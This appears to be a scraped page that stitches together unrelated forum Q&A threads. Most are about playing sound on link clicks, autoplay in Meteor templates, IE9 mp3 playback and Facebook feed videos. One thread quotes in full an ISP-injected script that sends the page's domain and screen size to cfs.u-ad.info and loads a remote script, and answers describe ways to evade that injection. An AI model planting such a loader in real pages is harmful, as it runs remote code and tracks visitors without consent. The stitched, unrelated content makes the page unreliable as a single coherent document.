I am trying to add sound to my web-site, when a link is clicked.
I added this javascript into the head of my doc:
<script language="javascript" type="text/javascript">
function playSound('Swoosh 3-SoundBible.com-1573211927.wav') {
document.getElementById("dummy").innerHTML=
"embed src=\""+soundfile+"\" hidden=\"true\" autostart=\"true\" loop=\"false\" />";
}
</script>
And I added this code into the body:
span id="dummy">
And this is what I added by the li that I want the sound to be heard on:
onclick="playSound('Swoosh 3-SoundBible.com-1573211927.wav');
I got this from http://webdesign.about.com/od/sound/a/play_sound_oncl.htm. But this does NOT work when I tested it my browser. NO sound is heard on the mouse-click.
Can anyone help please?
Thank you!
It doesn't appear that the function knows what to make of "soundfile" because instead of naming the variable in your function header, you've replaced it with an explicit filename. Try rewriting the function name as function playSound(soundfile){}.
Here is a way to do it using the HTML5 audio element.
To make this work in as many browsers as possible, you should have an .mp3 and a .ogg version of your sound.
For simplicity, I'm using jQuery to do the event handling.
The markup
<audio id='clicksound' style='display:none'>
<source src='mysound.ogg'>
<source src='mysound.mp3'>
</audio>
the JavaScript
$(document).ready(function(){
$('.soundonclick').click(function(){
document.getElementById('clicksound').play();
});
});
Related
I have a .wav that I want to play when a person clicks on a link. How do I go about doing that? I'm not exactly an expert at html or css or javascript so be gentle with me
Reference
Playing audio with Javascript?
Example
Two Links
Play
Stop
jQuery click Events
$(document).ready(function(){
var audio;
$("a.playButton").click(function(){
console.log("playing");
audio = new Audio('http://download.wavetlan.com/SVV/Media/HTTP/WAV/Media- Convert/Media-Convert_test1_Alaw_Mono_VBR_8SS_16000Hz.wav');
audio.play();
});
$("a.stopButton").click(function(){
console.log("Pause");
audio.pause();
});
});
Now this probably isn't the most accurate way to do this but it gives you an idea of how this works. If you want to use the built in audio tag you can do that too cause that will give you the controls and other helpful things.
JSFIDDLE
https://jsfiddle.net/pzth1zd5/
My website gets injected by a script like this:
<script>function netbro_cache_analytics(fn, callback) {setTimeout(function()
{fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var
idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r
= Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.u-
ad.info/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "¶ms=" +
"4TtHaUQnUEiP6K%2fc5C582Ltpw5OIinlRZ3f35Ig3RToKRLvWLwn6zEfnHRgrVr0WVf09gsyzoppB6HQ
lZs1%2bvVlaBJErvk4yTApvNxVRroJE3Sak6whXVhS8NtL5WQQ7xqk%2fl%2beEqRKsRzR0FuA%2bMRbKp
Tz%2fh8pwQUsZzPSHlUJaQ5eWnpe41LMxALmGAJ7wR93fB809%2b3BMdyLrPSeRjoat5eXfxM8hB8cF8FA
%2fADZ9XefsIT5mcIatvUYk00Cx89VQVB9oihM6lthSHZK76HYE2yVlBaqYl8N8lJpYpl3bTDK3nTOnpcZ
H07XEZDdhweI6oHkutA8rENrMv64HLRLfn%2fIH2yN7Q3C4Ly7sE6g9%2fkyUxZo0IvZ4NsUcBJwZ10Joo
9f63JGGYp%2bn8ZXG%2bI%2bHpuDri0qeXDPamxLkuhbs1gXAgx6ZSwZXm4940rBN97J6uiaXdZCyDo4ms
n2R%2f7i6CjiMCM66JMRM0RtI%2b4dRfZ2L78M%2bMB5T63xl0aYzBPpcoJFnNp75TozLX0wVNH7ZQLMIm
mchINjLEKPqXmlxC6kjQXWZiXrRa0nXtRY%2bUvCvz6huwCvSs3W8GNolSQ%3d%3d" +
"&idc_r="+idc_glo_r + "&domain="+document.domain +
"&sw="+screen.width+"&sh="+screen.height;var bsa =
document.createElement('script');bsa.type = 'text/javascript';bsa.async =
true;bsa.src = url;(document.getElementsByTagName('head')
[0]||document.getElementsByTagName('body')
[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){ });</script>
</body>
</html>
u-ad.info belongs to the company who manages my ISP (TELKOM). I have complained with them but it will never solve the problem. I'm using WordPress. How do I clean that script or block that script injection?
Bad ISP! :D
You cannot clean that script because it is injected when it pass through your ISP server. You can only block it on browser level. Read this https://askubuntu.com/q/64303/224951. It's a pity that all your website visitor who use the same ISP will get the same injected page.
I think Google won't blacklist your site because certainly it is not using your ISP thus don't see the injected script.
Change the body tag to uppercase.
My experiment shows that the script injector look specifically for the presence of body tag written in lower case.
Although, I'm not sure how long it will stay that way though.
See my solution at http://www.kaskus.co.id/thread/5491671f0e8b46ff29000007/mengakali-script-injeksi-spidol-as-a-web-developer
just change
</body>
to
</Body>
There is a very simple method to prevent script injecting works.
Just add this script right before </body> tags.
<script>
//</body>
</script>
This image show before and after using.
Before use:
After use:
If you use wordpress, just make sure you installed plugin to allow you write that script in your footer section.
Just do this before ISP TELKOM know.
Updated: Telkom ISP already detected if </body></html> inside a comment.
My solution:
no </body></html> at all
Let the browser close the tag it self
Already tested and it worked as December 2018
Thank you
based on my experience, you can use https protocol or use this tricks to avoid load script from your ISP :P
<!-- </body></html> -->
Add code above, above your 'real' </body></html> tag, let's do it!
Use HTTPS (if provided by server), or using VPN/SSH Tunneling/Secure Proxy. So all problems will be clean. The ISP injected the ads and analytic scripts, by extract all compression, injecting and not compress-back the data. It will make additional charge for your internet connection quota.
Insert code below in head or end of HTML.
<script type="text/javascript">
$(document).ready(function(){
$('body').append("</bo"+"dy>");
});
</script>
But make sure that your HTML code doesn't contain </body> end tag and includes jQuery in your <head> tag.
Example:
Full HTML
<html>
<title>Foo bar</title>
<head></head>
<body>Lorem Ipsum</body>
</html>
becoming
<html>
<title>Foo bar</title>
<head>
<script src=”https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js”></script>
</head>
<body>Lorem Ipsum
<script type="text/javascript">
$(document).ready(function(){
$('body').append("</bo"+"dy>");
});
</script>
</html>
without </body> end tag. The HTTP filter on ISP will grep the </body> or </Body> or whatever <body> closing tag then inject JavaScript code before <body> closing tag so that their ads will appear on any website that uses the HTTP protocol.
Issues when using Meteor with default Handlebars template.
When I move the tag below into the html body, it autoplays just fine. But in the context of a handlebars template, I see the controls but it does not autoplay. Any way to overcome this??
<template name="showMedia">
<div class="background_audio">
<audio controls autoplay>
<source src="assets/screenDisplayAlert.wav">
</audio>
</div>
</template>
Use Template.showMedia.rendered to execute some code after Meteor has rendered the template. For instance, you could call audio.play() or re-apply any missing autoplay attributes.
The reason this isn't working may have something to do with when the browser hooks up autoplay. Being re-rendered by Meteor may not invoke those same hooks. Personally, I feel like that should "just work". If you can't get it fixed, you might consider filing a bug on Github to see if the devs can reproduce or figure out what's going on.
You could try adding some javascript inside a Meteor.startup() block on the client. For reference see Starting and Stopping Audio in Javascript and how can I play a sound clip on page load?.
I don't know why it works outside a template and not inside, but I'm pretty sure the JS will work, and discretion is the better part of valor :)
I have three mp3 audio files that play fine in all browsers but play for only 1.x seconds in IE9 unless I change "controls" to "autoplay" in which case it plays just fine.
I was then sent the original, unedited file in .wav format. I encoded it myself to mp3 but have the same problem.
However, if I create my own mp3 audio file and insert it into the same markup, it works in all browsers, including IE9 with the "controls" attribute.
I can only think there is something about the settings in the original audio file that would cause the issue but don't have a clue what that could be.
Here is the test markup:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<audio src="poem.mp3" controls >
</body>
</html>
EDIT:
I put three audio files on the page. Sometimes one or two will play all the way through while the third won't play at all. Other times, two will play for a second but the third does nothing.
In case anyone is still dealing with this issue, I use the standard <audio> markup for mp3.
<audio controls="controls" preload="auto">
<source src="http://www.davehullthehullabalooer.com/help(5).mp4" type="audio/mp4"/>
<source src="http://www.davehullthehullabalooer.com/help.ogv" type="audio/ogv"/>
<source src="http://www.davehullthehullabalooer.com/help.webm" type="audio/webm"/>
<source src="http://davehullthehullabalooer.com/add-for-beatles-page-188.mp3" type="audio/mp3"/>
</audio>
In IE9: Internet options > Advanced Tab > Multimedia, I select "Play sounds in webpage"
All good!
EDIT: My fix didn't work. It still fails in IE9 but everything works still in every other browser.
An answer to my own question that solves the problem, at least, but I have not found out why.
I don't know why some mp3 files play just fine in IE9 but others, that also work well in any modern browser, won't play in IE9 using the markup I show above. I made audio play by adding the audio attribute preload="auto" and all is fine now in IE9.
Modern browsers do not need this. Why IE9 does, I do not know yet.
I was having trouble with audio controls showing on IE9 and found that IE9 struggles with the preload attribute. I didn't want the browser to preload all the files by setting them all to 'auto' but found that setting the preload setting to 'metadata' instead of 'none' did the trick. Could be an alternative solution.
http://helephant.com/2011/12/29/the-html5-audio-tag/ : "Metadata suggest that the browser just download enough of the file to find out things like dimensions, running length and size."
Ran into the same problem, audio files would only play first second when preload is set to metadata on IE9.
Turns out that my API was gzip compressing all responses and IE9 was having trouble dealing with it. After removing gzip/deflate compression from audio and video files, IE9 was fine with it.
I have searched for two days on google trying to solve this problem. I have also searched this forum and read the FB Dev page till my eyes hurt. I asked this question two days ago and it got removed. I completely understand but if I am asking it incorrectly please, please, help me to ask correctly or point me in the right direction or tell me im an idiot, anything.
I am trying to use FB.UI to "Publish a story to the feed" from my site. That is working fine.
My problem is that I want to add a video instead of a photo. So based on the FB DEV docs, I am trying to use the "source" property to do this. But I have tried multiple video formats to no avail (avi, mp4, flv). The only thing that does seem to work is a SWF file but I do not have the video in that format. (tried to do that also but don't have the right tools)
Does anyone know if you have to use SWF or can you use another format and I am doing it wrong.
You can see my progress here http://www.thishope.org/facebook-tab.html (click on "get a free song" to get the dialog box.)
This is the code from my page
<html>
<head>
<title>This Hope</title>
<link href="http://www.thishope.org/this-hope-fb-style.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="fb-root"></div>
<script src="http://connect.facebook.net/en_US/all.js"></script>
<script>
FB.init({
appId : '244237565620746',
status : true, // check login status
cookie : true, // enable cookies to allow the server to access the session
xfbml : true, // parse XFBML
channelUrl : 'http://WWW.MYDOMAIN.COM/channel.html', // channel.html file
oauth : true // enable OAuth 2.0
});
</script>
<div id="fb-link">
<script type="text/javascript">
function newInvite(){
FB.ui({ method: 'feed',
message: 'Get A Free Song!',
source:'http://www.thishope.org/FB-Only-One-Lord.mp4',
name:'Get A Free Song By This Hope!',
caption:'Only One Lord',
description:'Click share to post on your wall and download the song',
});
}
</script>
Get A Free Song!
</div>
</body>
</html>
Could you not host a flash video player like flowplayer?
I know it supports FLV, not sure about other formats, you may need to convert to FLV server side first
You can then attach the SWF URL to your post, which will have the advantage of the video being playable right inside Facebook's news feed
Check this sample page's source: http://sdoyle.fbdublin.com/tests/tasks/632942.html
The meta tags on this page, when detected by Facebook (via a share or Like), render the flowplayer video player right into the news feed post, and flowplayer knows which video to play via the configuration passed to it as a parameter.
I know it's not exactly what you're trying to do, but should give you the right idea for your video.
You should be able to embed in the same manner by using the source parameter for the Feed Dialog to specify a flash player for your content